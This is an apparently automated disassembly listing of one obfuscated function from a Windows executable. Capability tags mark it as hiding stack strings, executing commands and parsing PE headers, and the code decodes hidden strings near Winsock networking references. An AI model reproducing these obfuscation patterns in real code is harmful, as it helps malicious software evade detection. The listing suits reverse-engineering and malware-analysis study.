Function at 0x140147330
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov dword [rbp - 0x79], 0x637b466f
mov dword [rbp - 0x75], 0x10614340
mov dword [rbp - 0x71], 0x74407608
mov byte [rbp - 0x6d], 0xda
xor eax, eax
mov qword [rbp - 0x6c], rax
mov word [rbp - 0x64], ax
mov byte [rbp - 0x62], al
movabs rdi, 0xa66f6b9d0527165f
movabs rsi, 0x4da48b5877706f81
movabs r15, 0x7ececbe559425a3
movabs r14, 0x3dcab1dbcc48243b
movabs r12, 0x2df0d85f211fd8f5
movabs r13, 0x351810ff0991bbd5
movzx edx, byte [rbp + 0x67]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x18
jae 0x140147ecc
movzx r10d, byte [rbp + r11 - 0x79]
movzx ebx, r10b
cmp r8, r11
ja 0x140147ec3
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140147412
lea rcx, [r11 + r15]
mov rax, r10
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r10
add rdx, rcx
sub dl, 0x75
jmp 0x140147459
je 0x140147e52
lea rax, [r9 + 3]
cmp r8, rax
je 0x140147e1b
lea rax, [r9 + 6]
cmp r8, rax
je 0x140147ddc
lea rax, [r9 + 4]
cmp r8, rax
je 0x140147db5
lea rax, [rcx + 1]
cmp r8, rax
je 0x140147d8b
lea rax, [r9 + 9]
cmp r8, rax
je 0x140147d42
movzx ebx, r10b
nop dword [rax]
cmp r9, r11
ja 0x140147eba
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14014748b
lea rcx, [r11 + rdi]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x67
jmp 0x1401474d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140147d24
lea rax, [r9 + 2]
cmp r8, rax
je 0x140147cfd
lea rax, [r9 + 3]
cmp r8, rax
je 0x140147cd8
lea rax, [r9 + 5]
cmp r8, rax
je 0x140147cb7
lea rax, [r9 + 7]
cmp r8, rax
je 0x140147c90
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1401479ee
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401479d4
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401479b1
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140147991
lea rax, [r9 + 9]
cmp r8, rax
je 0x140147977
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14014795a
lea rax, [r9 + 1]
cmp r8, rax
je 0x14014793d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140147920
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140147903
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401478d7
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401474e0
lea r8, [r9 + 4]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140147e9e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140147e82
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1401476c6
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1401476ad
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140147694
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140147890
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14014784d
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140147812
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401477f0
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1401474e0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x28]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1401477c7
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1401477ad
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140147793
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140147779
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14014775f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140147745
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140147722
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401476fc
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1401476df
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1401474e0
lea r8, [r9 + 0x20]
lea r9, [r8 + 3]
jmp 0x1401474e0
lea rcx, [r11 + rsi]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x79
jmp 0x1401474d0
lea rcx, [r11 + r14]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x63
jmp 0x140147460
lea rcx, [r11 + r12]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x4d
jmp 0x1401473e7
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140147d64
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r9
dec r11
inc r11
jmp 0x1401473d3
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1401473d3
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xa
jmp 0x140147dfe
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x20
jmp 0x140147e37
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x36
jmp 0x140147e3a
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4c
jmp 0x140147c2e
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x62
jmp 0x140147c53
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x78
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2f
mov byte [rbp + r11 - 0x79], dl
inc r11
jmp 0x1401473d3
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x45
cmp r9, 0x1000
jb 0x140147805
lea ecx, [r11 - 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0x3c]
jmp 0x140147d64
lea ecx, [r11 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5b
cmp r8, 4
jae 0x140147c03
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140147b64
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7a
jmp 0x140147827
lea ecx, [r11 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x71
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x140147c1d
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x140147a98
lea ecx, [r11 - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x1f
jmp 0x140147862
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140147c53
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140147c2e
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140147e3a
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140147e37
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x140147dfe
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1a
dec r11
inc r11
jmp 0x1401473d3
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
inc r9
dec r11
inc r11
jmp 0x1401473d3
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x46
jmp 0x140147d64
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140147a10
lea rcx, [r11 + r15]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x75
jmp 0x1401478a5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140147a42
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x32
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140147a68
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140147e3a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401478a5
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1401473d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140147abb
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x35
jmp 0x140147d64
inc rax
cmp r8, rax
jne 0x140147ae6
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4b
inc r9
dec r11
inc r11
jmp 0x1401473d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140147b0f
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x61
dec r11
inc r11
jmp 0x1401473d3
cmp r8, rcx
jne 0x140147b2e
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5d
jmp 0x140147e3a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140147862
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1b
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140147b96
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x64
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140147bb6
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x38
jmp 0x140147c2e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140147bd9
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xc
jmp 0x140147e37
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140147827
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140147d64
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x3c
add cl, cl
jmp 0x140147dfc
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [rcx - 0x72]
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x19
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x79], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5c
add cl, r10b
mov byte [rbp + r11 - 0x79], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
lea rax, [r11 + r13]
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x2d
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
movabs rax, 0x58a84890818da03
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x15
jmp 0x140147e3a
movabs rax, 0xe5d6d18fb1c84377
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x41
movzx r10d, bl
jmp 0x140147dfe
movabs rax, 0xd5fcf813069ff831
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
sub dl, 0x57
dec r11
inc r11
jmp 0x1401473d3
movabs rax, 0xb6494519b04f61a5
add rax, r11
and r10b, al
add r10b, r10b
sub al, r10b
lea edx, [rbx + rax]
add dl, 0x7d
jmp 0x140147d60
movabs rcx, 0x9695922059fecb19
add rcx, r11
and r10b, cl
add r10b, r10b
movzx edx, bl
sub dl, r10b
add dl, 0x51
add dl, cl
movzx r10d, bl
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x13
add cl, r10b
mov byte [rbp + r11 - 0x79], cl
inc r9
dec r11
inc r11
jmp 0x1401473d3
movabs rax, 0x86bbb8a3aed67fd3
add rax, r11
and r10b, al
add r10b, r10b
sub bl, r10b
lea edx, [rax + rbx]
add dl, 0x3b
inc r9
dec r11
inc r11
jmp 0x1401473d3
movabs rax, 0x76e1df2703ae348d
add rax, r11
and r10b, al
add r10b, r10b
sub bl, r10b
lea edx, [rax + rbx]
add dl, 0x25
dec r11
inc r11
jmp 0x1401473d3
movabs rcx, 0x670805aa5885e947
add rcx, r11
and r10b, cl
add r10b, r10b
movzx edx, bl
sub dl, r10b
add dl, 0xf
movzx r10d, bl
add dl, cl
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 3
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x79], cl
jmp 0x140147e37
movabs rax, 0x572e2c2dad5d9e01
add rax, r11
and r10b, al
add r10b, r10b
sub bl, r10b
lea edx, [rax + rbx]
sub dl, 7
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401473d3
movabs rax, 0x17c6c63b00bc70e9
add rax, r11
and r10b, al
add r10b, r10b
sub bl, r10b
lea edx, [rax + rbx]
sub dl, 0x5f
movzx eax, byte [rbp + r11 - 0x79]
add rax, r9
add r11, rax
inc r11
jmp 0x1401473d3
sub r11b, 0x51
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x37
jmp 0x1401473d0
add r11b, 0x69
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x21
jmp 0x1401473c0
lea rdx, [rbp + 0x149490b]
jmp 0x140147ed0
lea rdx, [rbp + 0x11d6eae]
jmp 0x140147ed0
lea rdx, [rbp - 0x79]
lea rcx, [rbp + 0x17]
call fcn.14013a940
nop
nop word [rax + rax]
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
call fcn.140144e50
mov dword [0x1404e9ce8], eax
test eax, eax
jle 0x140147f04
mov ecx, eax
call fcn.1401472d0
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
call fcn.140144e50
mov dword [0x1404e9ce8], eax
test eax, eax
jle 0x140147f28
mov ecx, eax
call fcn.1401472d0
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
call fcn.140144e50
mov dword [0x1404e9ce8], eax
test eax, eax
jle 0x140147f4c
mov ecx, eax
call fcn.1401472d0
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
call fcn.140144e50
mov dword [0x1404e9ce8], eax
test eax, eax
jle 0x140147f70
mov ecx, eax
call fcn.1401472d0
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
call fcn.140144e50
mov dword [0x1404e9ce8], eax
test eax, eax
jle 0x140147f94
mov ecx, eax
call fcn.1401472d0
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
call fcn.140144e50
cmp dword [0x1404e9ce8], eax
jne 0x140147ee0
mov dword [rbp - 0x18], 0x3bd6e4ee
mov dword [rbp - 0x14], 0xe7e1d9e7
mov dword [rbp - 0x10], 0xe5ebde30
mov dword [rbp - 0xc], 0x231b1219
mov dword [rbp - 8], 0xab23dec8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 4], xmm0
mov dword [rbp + 0xc], eax
mov byte [rbp + 0x10], al
movabs r15, 0xf308b920fae213f4
movabs r12, 0xd91a2b62f0a63bdc
movzx r11d, byte [rbp + 0x67]
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x29
jae 0x140148944
movzx r10d, byte [rbp + rdi - 0x18]
mov esi, r10d
movzx ebx, dil
nop dword [rax]
movzx r14d, bl
cmp r8, rdi
ja 0x14014893b
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140148060
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rsi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rsi
add r11b, 0x54
jmp 0x14014808d
je 0x1401488d4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401488a0
lea rax, [rcx + 1]
cmp r8, rax
je 0x14014887d
lea rax, [r9 + 7]
cmp r8, rax
je 0x140148838
movzx ebx, dil
cmp r9, rdi
ja 0x140148932
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x1401480ba
lea ecx, [rbx + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
jmp 0x140148100
lea rax, [r9 + 1]
cmp r8, rax
je 0x14014881d
inc rax
cmp r8, rax
je 0x1401487e1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401487c2
lea rax, [r9 + 6]
cmp r8, rax
je 0x140148743
cmp r8, rcx
je 0x140148727
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1401484de
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401484bf
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14014849b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140148476
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14014856e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14014845b
lea rax, [r9 + 2]
cmp r8, rax
je 0x14014843c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14014842f
lea r8, [r9 + 6]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140148917
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401488fc
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140148282
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140148264
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140148246
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401483de
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140148368
lea r8, [r9 + 0x41]
lea r9, [r8 + 4]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14014833f
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140148321
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140148314
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1401482f9
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1401482de
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1401482c2
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1401482a1
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x61]
jmp 0x140148110
lea edx, [rbx + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x140148100
lea edx, [rbx - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x140148091
lea edx, [rbx - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140148030
add bl, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x140148012
lea edx, [rbx + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401487f7
add bl, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
jmp 0x1401488b8
sub bl, 0x68
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x28
jmp 0x1401488bb
lea edx, [rbx - 0x50]
mov ecx, 0x18
jmp 0x14014874b
sub bl, 0x38
movzx eax, r10b
and al, bl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
add r11b, bl
jmp 0x140148784
sub bl, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
movzx eax, byte [rbp + rdi - 0x18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140148012
lea edx, [rbx + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x14
add r11b, dl
cmp r8, 0x20
jae 0x1401486f1
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x14014865c
lea edx, [rbx + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x18
add r11b, dl
cmp r9, 3
jb 0x1401486e4
add bl, 0x38
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x10]
jmp 0x140148853
lea edx, [rbx + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 3
je 0x14014870c
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1401485bf
lea edx, [rbx + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14014837e
lea edx, [rbx + 0x48]
mov ecx, 4
jmp 0x14014874b
add bl, 0x60
movzx eax, r10b
and al, bl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1401488bb
add bl, 0x78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x48
jmp 0x1401488b8
sub bl, 0x58
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x140148012
sub bl, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140148012
sub bl, 0x28
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x140148853
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1401484fa
lea edx, [rbx - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
jmp 0x1401483ec
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14014852c
add bl, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x38
movzx eax, byte [rbp + rdi - 0x18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140148012
inc rax
cmp r8, rax
jne 0x140148541
lea edx, [rbx - 0x28]
mov ecx, reloc.WS2_32.dll_inet_ntoa
jmp 0x14014874b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140148565
sub bl, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
jmp 0x1401488bb
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14014858a
lea edx, [rbx - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401487f7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401483f8
add bl, 0x60
movzx eax, r10b
and al, bl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140148012
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1401485e6
add bl, 0xc
movzx eax, r10b
and al, bl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
add r11b, bl
jmp 0x140148853
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140148610
sub bl, 0x24
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 4
dec rdi
inc rdi
jmp 0x140148012
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140148634
lea edx, [rbx - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
jmp 0x1401487f7
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140148381
lea edx, [rbx + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
jmp 0x14014875a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14014868e
add bl, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
movzx eax, byte [rbp + rdi - 0x18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140148012
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401486b6
sub bl, 0x50
movzx eax, r10b
and al, bl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1401488b8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401483b4
add bl, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140148012
mov byte [rbp + rdi - 0x18], r11b
inc rdi
jmp 0x140148012
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
jmp 0x1401487f7
lea edx, [rbx + 8]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, r10b
sub r11b, 0x38
jmp 0x14014875a
add bl, 0x44
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x140148784
lea edx, [rbx + 0x5c]
mov ecx, 0x3e
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
